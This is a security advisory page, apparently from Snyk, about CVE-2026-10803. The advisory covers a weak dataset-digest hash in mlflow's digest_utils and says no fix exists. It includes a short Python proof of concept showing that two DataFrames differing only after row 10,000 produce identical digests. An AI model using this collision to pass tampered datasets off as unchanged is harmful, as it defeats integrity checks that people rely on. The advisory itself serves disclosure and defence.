Use of Weak Hash Affecting mlflow package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-MLFLOW-17173043
- published5 Jun 2026
- disclosed4 Jun 2026
- credit3em0
Introduced: 4 Jun 2026
CVE-2026-10803 (opens in a new tab)How to fix?
There is no fixed version for mlflow.
Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Use of Weak Hash in the mlflow.data.digest_utils function. An attacker can compromise data integrity or cause unexpected behavior by exploiting the use of a weak hash algorithm during dataset digest computation.
PoC
import pandas as pd
from mlflow.data.digest_utils import compute_pandas_digest
# Create two datasets differing only in rows beyond 10000
n = 15000
df1 = pd.DataFrame({"a": list(range(n))})
df2 = pd.DataFrame({"a": list(range(10000)) + [999999] * 5000})
print(f"df1 digest: {compute_pandas_digest(df1)}")
print(f"df2 digest: {compute_pandas_digest(df2)}")
print(f"Collision: {compute_pandas_digest(df1) == compute_pandas_digest(df2)}")
# Output: Collision: True (despite 5000 rows being completely different)